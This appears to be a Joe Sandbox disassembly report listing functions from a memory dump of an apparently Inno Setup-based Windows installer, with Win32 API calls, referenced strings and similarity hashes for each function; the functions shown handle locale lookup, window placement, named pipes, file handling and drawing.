Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$File$CloseCreateHandle$AttributesCopyDestroyLongMultipleObjectsPrivateProfileStringWaitWrite
String ID: /SECONDPHASE="%s" /FIRSTPHASEWND=$%x $STATIC
API String ID: 1549857992-2312673372
Opcode ID: 7b9aa83098eabb2dba0b70aa405a2d9f6b8f1b4b66eab831558cfba939a8a2a9
Instruction ID: 93ed1b954d13302bbccf96d2c338465d3c98789abcf3618d64464ab15fb4d88f
Opcode Fuzzy Hash: 7b9aa83098eabb2dba0b70aa405a2d9f6b8f1b4b66eab831558cfba939a8a2a9
Instruction Fuzzy Hash: 71412C70A04608AEDF00EBA5DC42FAE7BB8EB09714F51457AF400F7291D6799A008B69

Function 0042E418 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,0042E51D,?,00000000,0047E1C0,00000000), ref: 0042E441
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042E447
RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,0042E51D,?,00000000,0047E1C0,00000000), ref: 0042E495

Strings

QaE, xrefs: 0042E4D7, 0042E4DF, 0042E4EA, 0042E50C
kernel32.dll, xrefs: 0042E43C
.DEFAULT\Control Panel\International, xrefs: 0042E46C
Locale, xrefs: 0042E484
Control Panel\Desktop\ResourceLocale, xrefs: 0042E4A4
GetUserDefaultUILanguage, xrefs: 0042E437

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$QaE$kernel32.dll
API String ID: 4190037839-2312295185
Opcode ID: cc4cf932d7b220052410dacf18b487448e6dec6834fb41b85ae1fa26c47c2f69
Instruction ID: f42d7e7755912f49377b3a3c2778cbb45b18f2cdc7334bb7b0fb93ca3fe573dd
Opcode Fuzzy Hash: cc4cf932d7b220052410dacf18b487448e6dec6834fb41b85ae1fa26c47c2f69
Instruction Fuzzy Hash: E8213230B10225BBDB10EAE6DC51B9E76B8EB44308F90447BA504E7281E77CDE419B5C

Function 00462864 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 82libraryloaderCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 00462870
GetModuleHandleA.KERNEL32(user32.dll), ref: 00462884
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 00462891
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0046289E
GetWindowRect.USER32(?,00000000), ref: 004628EA
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,?,00000000), ref: 00462928

Strings

MonitorFromWindow, xrefs: 0046288B
GetMonitorInfoA, xrefs: 00462898
(, xrefs: 004628C9
user32.dll, xrefs: 0046287F

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$AddressProc$ActiveHandleModuleRect
String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
API String ID: 2610873146-3407710046
Opcode ID: 963cd5e9bec20ae9785dbab648af90e3917fdde5ac028f1e20745c9c218af8a1
Instruction ID: fe1f68fcdb92d8fdb5b24afc8a588ee1dd3fc27577eab862170fec9bd430383f
Opcode Fuzzy Hash: 963cd5e9bec20ae9785dbab648af90e3917fdde5ac028f1e20745c9c218af8a1
Instruction Fuzzy Hash: 4621C5B5301B056BD301EA648D41F3B3699EBC4714F05052AF944DB3C6E6B8EC048B9A

Function 0042F188 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 82libraryloaderCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 0042F194
GetModuleHandleA.KERNEL32(user32.dll), ref: 0042F1A8
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0042F1B5
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0042F1C2
GetWindowRect.USER32(?,00000000), ref: 0042F20E
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D), ref: 0042F24C

Strings

GetMonitorInfoA, xrefs: 0042F1BC
user32.dll, xrefs: 0042F1A3
(, xrefs: 0042F1ED
MonitorFromWindow, xrefs: 0042F1AF

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$AddressProc$ActiveHandleModuleRect
String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
API String ID: 2610873146-3407710046
Opcode ID: fe4f6826bb7301b99e83fbe15c42cc49c8205db95b757379d9683ee99bf223cf
Instruction ID: 50a2e38ba83faf67dd7c56e8d7733487d454ef14a416094e89dadcccf0bf0910
Opcode Fuzzy Hash: fe4f6826bb7301b99e83fbe15c42cc49c8205db95b757379d9683ee99bf223cf
Instruction Fuzzy Hash: 3821F279704710ABD300EA68ED41F3B37A9DB89714F88457AF944DB382DA79EC044BA9

Function 00458A6C Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 127pipeCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00458C4B,?,00000000,00458CAE,?,?,020B3858,00000000), ref: 00458AC9
TransactNamedPipe.KERNEL32(?,-00000020,0000000C,-00004034,00000014,020B3858,?,00000000,00458BE0,?,00000000,00000001,00000000,00000000,00000000,00458C4B), ref: 00458B26
GetLastError.KERNEL32(?,-00000020,0000000C,-00004034,00000014,020B3858,?,00000000,00458BE0,?,00000000,00000001,00000000,00000000,00000000,00458C4B), ref: 00458B33
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 00458B7F
GetOverlappedResult.KERNEL32(?,?,00000000,00000001,00458BB9,?,-00000020,0000000C,-00004034,00000014,020B3858,?,00000000,00458BE0,?,00000000), ref: 00458BA5
GetLastError.KERNEL32(?,?,00000000,00000001,00458BB9,?,-00000020,0000000C,-00004034,00000014,020B3858,?,00000000,00458BE0,?,00000000), ref: 00458BAC

Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,00497F15,00000000), ref: 0045349F

Strings

TransactNamedPipe, xrefs: 00458B3F
CreateEvent, xrefs: 00458AD7

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorLast$CreateEventMultipleNamedObjectsOverlappedPipeResultTransactWait
String ID: CreateEvent$TransactNamedPipe
API String ID: 2182916169-3012584893
Opcode ID: 971ff5326f64256da56b2a3a5e971e3af97d4d6353f8bcf162cac826e6801041
Instruction ID: 4e8b515c978fc0f7227371b00e454fc29eb41545a574c41675fd698137751177
Opcode Fuzzy Hash: 971ff5326f64256da56b2a3a5e971e3af97d4d6353f8bcf162cac826e6801041
Instruction Fuzzy Hash: D74185B1A00608AFDB15DF95CD41F9EB7F8FB48715F10406AF900F7292CA78AE44CA68

Function 00456B6C Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(OLEAUT32.DLL,UnRegisterTypeLib,00000000,00456CD1,?,?,00000031,?), ref: 00456B94
GetProcAddress.KERNEL32(00000000,OLEAUT32.DLL), ref: 00456B9A
LoadTypeLib.OLEAUT32(00000000,?), ref: 00456BE7

Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,00497F15,00000000), ref: 0045349F

Strings

UnRegisterTypeLib, xrefs: 00456B8A
UnRegisterTypeLib, xrefs: 00456C53
LoadTypeLib, xrefs: 00456BF2
GetProcAddress, xrefs: 00456BA7
OLEAUT32.DLL, xrefs: 00456B8F
ITypeLib::GetLibAttr, xrefs: 00456C1D

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressErrorHandleLastLoadModuleProcType
String ID: GetProcAddress$ITypeLib::GetLibAttr$LoadTypeLib$OLEAUT32.DLL$UnRegisterTypeLib$UnRegisterTypeLib
API String ID: 1914119943-2711329623
Opcode ID: ee3ea3d82efd4fb2b54eebd443786074e6cae9edf60e5ac548ea64bc7aca37c1
Instruction ID: 513f35abe53900720ade907ad6bd055a7f67a8f7377afb521354ad4100752fe6
Opcode Fuzzy Hash: ee3ea3d82efd4fb2b54eebd443786074e6cae9edf60e5ac548ea64bc7aca37c1
Instruction Fuzzy Hash: 54319671700604AFDB02EFAACD51D5BB7BDEB8974575284A6BC04D3752DA38DD04C728

Function 00416D80 Relevance: 15.2, APIs: 10, Instructions: 167windowCOMMON

Download Yara Rule

APIs

RectVisible.GDI32(?,?), ref: 00416E13
SaveDC.GDI32(?), ref: 00416E27
IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 00416E4A
RestoreDC.GDI32(?,?), ref: 00416E65
CreateSolidBrush.GDI32(00000000), ref: 00416EE5
FrameRect.USER32(?,?,?), ref: 00416F18
DeleteObject.GDI32(?), ref: 00416F22
CreateSolidBrush.GDI32(00000000), ref: 00416F32
FrameRect.USER32(?,?,?), ref: 00416F65
DeleteObject.GDI32(?), ref: 00416F6F

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Rect$BrushCreateDeleteFrameObjectSolid$ClipIntersectRestoreSaveVisible
String ID:
API String ID: 375863564-0
Opcode ID: 35a16e57ef2060bc5b86dfaf9fb4dd0844c8f61540c1a86612a76d2e62787fd3
Instruction ID: c082a38e55a2621cff38c0036c5e412d4739722926df34ebe37a7eff5f7859fc
Opcode Fuzzy Hash: 35a16e57ef2060bc5b86dfaf9fb4dd0844c8f61540c1a86612a76d2e62787fd3
Instruction Fuzzy Hash: 70515A712086459FDB50EF69C8C4B9B77E8AF48314F15466AFD488B286C738EC81CB99

Function 00404ABF Relevance: 15.1, APIs: 10, Instructions: 122fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B46
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B6A
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B86
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00404BA7
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00404BD0
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00404BDA
GetStdHandle.KERNEL32(000000F5), ref: 00404BFA
GetFileType.KERNEL32(?,000000F5), ref: 00404C11
CloseHandle.KERNEL32(?,?,000000F5), ref: 00404C2C
GetLastError.KERNEL32(000000F5), ref: 00404C46

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: 9f56c7289f94e04900e6d065ddfea074988f08e379b72121dafcd5ad7d79337d
Instruction ID: 0555156f4d2a620bb114dc01d937536d57074fdea11cd86abdfeb4dd56d828b4
Opcode Fuzzy Hash: 9f56c7289f94e04900e6d065ddfea074988f08e379b72121dafcd5ad7d79337d
Instruction Fuzzy Hash: 3741B3F02093009AF7305E248905B2375E5EBC0755F208E3FE296BA6E0D7BDE8458B1D

Function 004221E8 Relevance: 15.1, APIs: 10, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(00000000,00000000), ref: 00422233
DeleteMenu.USER32(00000000,0000F130,00000000,00000000,00000000), ref: 00422251
DeleteMenu.USER32(00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 0042225E
DeleteMenu.USER32(00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 0042226B
DeleteMenu.USER32(00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422278
DeleteMenu.USER32(00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000), ref: 00422285
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000), ref: 00422292
DeleteMenu.USER32(00000000,0000F120,00000000,00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000), ref: 0042229F
EnableMenuItem.USER32(00000000,0000F020,00000001), ref: 004222BD
EnableMenuItem.USER32(00000000,0000F030,00000001), ref: 004222D9

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Menu$Delete$EnableItem$System
String ID:
API String ID: 3985193851-0
Opcode ID: d8fcfd45993f68361b05288e300d90e061abaf0c01acb012dac33f8cfd749464
Instruction ID: 662ae76830c3dbb110fd6952920e185112f137d20e740dc0dcce1beff7d7cd05
Opcode Fuzzy Hash: d8fcfd45993f68361b05288e300d90e061abaf0c01acb012dac33f8cfd749464
Instruction Fuzzy Hash: AF2144703407047AE720E724CD8BF9BBBD89B04708F5451A5BA487F6D3C6F9AB804698

Function 00481338 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 175windowCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(10000000), ref: 004814F5
FreeLibrary.KERNEL32(00000000), ref: 00481509
SendNotifyMessageA.USER32(00020138,00000496,00002710,00000000), ref: 0048157B

Strings

Deinitializing Setup., xrefs: 00481356
Not restarting Windows because Setup is being run from the debugger., xrefs: 0048152A
GetCustomSetupExitCode, xrefs: 00481395
DeinitializeSetup, xrefs: 004813F1
Restarting Windows., xrefs: 00481556

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: FreeLibrary$MessageNotifySend
String ID: DeinitializeSetup$Deinitializing Setup.$GetCustomSetupExitCode$Not restarting Windows because Setup is being run from the debugger.$Restarting Windows.
API String ID: 3817813901-1884538726
Opcode ID: 7fd84dd053b4401f5bdf0ca771466cc8f90a001c2e291a6a881faa6dba982769
Instruction ID: a147a64e5fa7f59d2c1c0707bc10c89f769f7b05bbdcd0d826f9af474dd6dcab
Opcode Fuzzy Hash: 7fd84dd053b4401f5bdf0ca771466cc8f90a001c2e291a6a881faa6dba982769
Instruction Fuzzy Hash: 55519F30700240AFD311EB69E8D5B6E7BA8EB59714F50887BE805C73B1DB38AC46CB59

Function 00461500 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 0046153B
GetActiveWindow.USER32 ref: 0046159F
CoInitialize.OLE32(00000000), ref: 004615B3
SHBrowseForFolder.SHELL32(?), ref: 004615CA
CoUninitialize.OLE32(0046160B,00000000,?,?,?,?,?,00000000,0046168F), ref: 004615DF
SetActiveWindow.USER32(?,0046160B,00000000,?,?,?,?,?,00000000,0046168F), ref: 004615F5
SetActiveWindow.USER32(?,?,0046160B,00000000,?,?,?,?,?,00000000,0046168F), ref: 004615FE

Strings

A, xrefs: 00461573

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ActiveWindow$BrowseFolderInitializeMallocUninitialize
String ID: A
API String ID: 2684663990-3554254475
Opcode ID: 703f1963e0dc72a1c395d9026068ceb343fdf60ef3171849bb259b064323ba87
Instruction ID: 8a944d3e7b26c7d839f1ecf9cf32de2b38f87d5f920ef02beae42f78277bfb86
Opcode Fuzzy Hash: 703f1963e0dc72a1c395d9026068ceb343fdf60ef3171849bb259b064323ba87
Instruction Fuzzy Hash: 62312D70E00358AFDB00EFA6D885A9EBBF8EB09304F55847AF405E7251E7789A048B59

Function 0047286C Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 67COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,0047292D,?,?,?,00000008,00000000,00000000,00000000,?,00472B89,?,?,00000000,00472DF8), ref: 00472890

Part of subcall function 0042CD94: GetPrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0042CE0A

Part of subcall function 00406F50: DeleteFileA.KERNEL32(00000000,0049B628,00498261,00000000,004982B6,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F5B

SetFileAttributesA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,0047292D,?,?,?,00000008,00000000,00000000,00000000,?,00472B89), ref: 00472907
RemoveDirectoryA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,0047292D,?,?,?,00000008,00000000,00000000,00000000), ref: 0047290D

Strings

{0AFACED1-E828-11D1-9187-B532F1E9575D}, xrefs: 004728C9
desktop.ini, xrefs: 004728A4
.ShellClassInfo, xrefs: 004728BF
CLSID2, xrefs: 004728BA
target.lnk, xrefs: 004728E5

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryPrivateProfileRemoveString
String ID: .ShellClassInfo$CLSID2$desktop.ini$target.lnk${0AFACED1-E828-11D1-9187-B532F1E9575D}
API String ID: 884541143-1710247218
Opcode ID: 8c120786a4ea8c92214831f90170699f67ddada7000dc7cca521b0e92e4fa8e9
Instruction ID: c9f0bcdda41dfe4bc4fb8c2ad9af4abf79d42ba832169be77a83c6f088ccd444
Opcode Fuzzy Hash: 8c120786a4ea8c92214831f90170699f67ddada7000dc7cca521b0e92e4fa8e9
Instruction Fuzzy Hash: A711D0F07005147BD701F66A8D82BAFB2ACDB49714F65807BB604B72C1DB7CAE01865C

Function 0045D104 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 41libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,inflateInit_), ref: 0045D10D
GetProcAddress.KERNEL32(00000000,inflate), ref: 0045D11D
GetProcAddress.KERNEL32(00000000,inflateEnd), ref: 0045D12D
GetProcAddress.KERNEL32(00000000,inflateReset), ref: 0045D13D

Strings

inflateEnd, xrefs: 0045D127
inflate, xrefs: 0045D117
inflateInit_, xrefs: 0045D107
inflateReset, xrefs: 0045D137

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc
String ID: inflate$inflateEnd$inflateInit_$inflateReset
API String ID: 190572456-3516654456
Opcode ID: 642f53b55b6c69fa488a6078c858724ccece433db3f4d1a063b28ca439a42b30
Instruction ID: 41a921eeb660c13fccdf509460c8c4a7353affed60c98b376863fdd8d28133a2
Opcode Fuzzy Hash: 642f53b55b6c69fa488a6078c858724ccece433db3f4d1a063b28ca439a42b30
Instruction Fuzzy Hash: 1A01FFB0D00B00DAE724EFB69D9572736A5AB64306F14C03B9C09962A6D7790858DF6C

Function 0041A8DC Relevance: 13.7, APIs: 9, Instructions: 176windowCOMMON

Download Yara Rule

APIs

SetBkColor.GDI32(?,00000000), ref: 0041A9B9
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 0041A9F3
SetBkColor.GDI32(?,?), ref: 0041AA08
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00CC0020), ref: 0041AA52
SetTextColor.GDI32(00000000,00000000), ref: 0041AA5D
SetBkColor.GDI32(00000000,00FFFFFF), ref: 0041AA6D
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00E20746), ref: 0041AAAC
SetTextColor.GDI32(00000000,00000000), ref: 0041AAB6
SetBkColor.GDI32(00000000,?), ref: 0041AAC3

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Color$StretchText
String ID:
API String ID: 2984075790-0
